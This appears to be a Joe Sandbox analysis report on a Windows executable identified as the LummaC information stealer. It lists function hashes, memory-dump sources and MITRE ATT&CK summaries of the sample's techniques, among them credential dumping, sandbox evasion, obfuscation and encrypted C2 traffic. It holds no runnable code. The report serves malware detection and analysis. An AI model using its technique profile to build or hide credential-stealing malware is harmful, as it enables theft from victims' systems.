Opcode ID: 06ebdfa5b1fefa233cba2af9aec6ec0016add34c7cf037687987d27e0f58c321
Instruction ID: cbb9d2632a5d3987efd1df783f90ad6bf74a830b6fd4955656ed344a41093950
Opcode Fuzzy Hash: 06ebdfa5b1fefa233cba2af9aec6ec0016add34c7cf037687987d27e0f58c321
Instruction Fuzzy Hash: 88113670601B029BE7148F20D964B27F7F6BF82714F148A1CC45A47B82C779F925CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0007561D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d158e69d48e29a9852133493ca802908003c49cdf12bf2cc88e2c5fb12a5cb84
Instruction ID: 22db655f12e5e4be16845cabafc8ce9f5dc5d57b7be3071b5ea32ad3a091600c
Opcode Fuzzy Hash: d158e69d48e29a9852133493ca802908003c49cdf12bf2cc88e2c5fb12a5cb84
Instruction Fuzzy Hash: 5E11F5B4908344AFD740DF24D88089FBBF1FB99368F84591DF88997252D334D9518F46

Uniqueness

Uniqueness Score: -1.00%

Function 000952C9 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50bfe910920fd2f940331a13b4d42bbbed86c2599c6ad2f12670bb8341b7b495
Instruction ID: d70ee9d8b9aeafc605d3749a33cb5ebb07c83793b2e06c03900f8d120a27af68
Opcode Fuzzy Hash: 50bfe910920fd2f940331a13b4d42bbbed86c2599c6ad2f12670bb8341b7b495
Instruction Fuzzy Hash: 26F03A31A197118BC749CF19D96062ABBF0AF86741F59587DE485D3240CB30DD059B46

Uniqueness

Uniqueness Score: -1.00%

Function 0006D1C0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2044051f06bb029c9e823812dcc2e061d3b89e47936c5c72b85e7b0847b4fd87
Instruction ID: 63d62634a9079e1b61aefe88d72c623862bb5925d192619c8dd08e2448e9d500
Opcode Fuzzy Hash: 2044051f06bb029c9e823812dcc2e061d3b89e47936c5c72b85e7b0847b4fd87
Instruction Fuzzy Hash: E3D09760B083B00E47884E390460433FBE5EA43212F08108FF4C2E7044C220DC0052AC

Uniqueness

Uniqueness Score: -1.00%

Function 0013E70F Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6947627a296895d1400bccea256ab4771c0036a92204ff1178adf66040367420
Instruction ID: 7cd6877f674b2dadc777d5c6dfbd6adaae97902bc07f1a2e12bd6a24e016987f
Opcode Fuzzy Hash: 6947627a296895d1400bccea256ab4771c0036a92204ff1178adf66040367420
Instruction Fuzzy Hash: 65E01236604200CFE308EB34C545B9DBA62BBC1311F12DA29E099D7EA5DF39964A8F11

Uniqueness

Uniqueness Score: -1.00%

Function 0006FA72 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32bc691e76a7aff1aaf145d97d894f31dc2726bcefba99ce4e4958bf1c7d882f
Instruction ID: 76a035b715b9cf1048a243ed2f65c4776ae4271194a765369fb8b9070de44400
Opcode Fuzzy Hash: 32bc691e76a7aff1aaf145d97d894f31dc2726bcefba99ce4e4958bf1c7d882f
Instruction Fuzzy Hash: D9D01231F680158B971CCF20ED2097F73A7B7CEB54715642DC923E7215DB2499168788

Uniqueness

Uniqueness Score: -1.00%

Function 0007CB43 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4cf43d8686e0ee4155ebcb33ca2e64e0d2c6144fbe4a7c854beda69acd01b42
Instruction ID: fa96cfa315d87d30f3155be622256642bf255e32ad57a9719b14e367eaf4447b
Opcode Fuzzy Hash: f4cf43d8686e0ee4155ebcb33ca2e64e0d2c6144fbe4a7c854beda69acd01b42
Instruction Fuzzy Hash: 31C08CA1D880018B9105CF28BC428327330AB07204B00202BB853F3222EE48E008C909

Uniqueness

Uniqueness Score: -1.00%

Function 0006FA7F Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebafd12312f70253abbd47fd0def5e4a1f90fbd0d402461b9ba98809e2904ebb
Instruction ID: 2a2f4709a60e988b51b786ca5be629933abb1efb150179d6271c9cabec71a16d
Opcode Fuzzy Hash: ebafd12312f70253abbd47fd0def5e4a1f90fbd0d402461b9ba98809e2904ebb
Instruction Fuzzy Hash: 34C08C34E1820087E348CF04E980637B7B6FBCE724F10701DD92213316C324E8418A0C

Uniqueness

Uniqueness Score: -1.00%

Function 000719E7 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b16394863b6de8caaccf372639bea094b98dd5f5c8a5cefdd0eac6be324ca4
Instruction ID: 3ac8b0ef2ae57675d7e7675c3ce0c88bef9b92303512c482869f34c06706d81a
Opcode Fuzzy Hash: 59b16394863b6de8caaccf372639bea094b98dd5f5c8a5cefdd0eac6be324ca4
Instruction Fuzzy Hash: EEC09B35F540404B960CCE10FDB1575F2777357315714B436D91AD3755C738D4018D04

Uniqueness

Uniqueness Score: -1.00%

Function 00094489 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7cbda11041aafd739f5b1212a26f18bc11f3789d99943d9af4bbde0c667bb74
Instruction ID: 00a62f7bca4faeeb6a51e7a748bd4db2d54d133b02b55882106b2998223a45cc
Opcode Fuzzy Hash: a7cbda11041aafd739f5b1212a26f18bc11f3789d99943d9af4bbde0c667bb74
Instruction Fuzzy Hash: 2BB09236A884008BAE4DCF08E851430A378D717208B04353AA902E3262C528E5128918

Uniqueness

Uniqueness Score: -1.00%

Function 00093458 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1f34e93dd6ef5b297f936c60bf446d934e56bb3635862289ad93654a38e673
Instruction ID: 70e8569e4320403a483f4665288be8599c1fb0b0901af3f6f391db9a68591430
Opcode Fuzzy Hash: 6f1f34e93dd6ef5b297f936c60bf446d934e56bb3635862289ad93654a38e673
Instruction Fuzzy Hash: A4B09238E884018FA60CCF18D8504B9B23EBF9B3D8F6AB109C10223226C2249416C90C

Uniqueness

Uniqueness Score: -1.00%

Function 0007ADB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0007AECE
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0007AEFD

Strings

Me+c, xrefs: 0007AE68

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Me+c
API String ID: 237503144-2767035324
Opcode ID: 0f85952b193aef83981cc77881f3f51d2f879de790b063f62f0210ef2cb046ac
Instruction ID: cf30e157a2a1b3d1b1c43fb6dd96c733454d336b4c02b77422be9df00bf59674
Opcode Fuzzy Hash: 0f85952b193aef83981cc77881f3f51d2f879de790b063f62f0210ef2cb046ac
Instruction Fuzzy Hash: F85140B0209341AFD314CF14D880A5FBBE6BBC6394F108A2CF8A90B295D774D9448B96

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ag3ijL3z1w.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Windows Analysis Report
Ag3ijL3z1w.exe

Function 000695E0 Relevance: 17.9, Strings: 14, Instructions: 422
COMMON

Function 000812E2 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 562
COMMON

Function 00095440 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146
nativememoryCOMMON

Function 0007D860 Relevance: 6.4, APIs: 4, Instructions: 377
nativememoryCOMMON

Function 000967D0 Relevance: 6.3, APIs: 4, Instructions: 268
nativememoryCOMMON

Function 00095D40 Relevance: 6.3, APIs: 4, Instructions: 255
nativememoryCOMMON

Function 00090F80 Relevance: 6.2, APIs: 4, Instructions: 216
nativememoryCOMMON

Function 00092987 Relevance: 6.2, APIs: 4, Instructions: 157
nativememoryCOMMON

Function 000924B2 Relevance: 6.1, APIs: 4, Instructions: 149
nativememoryCOMMON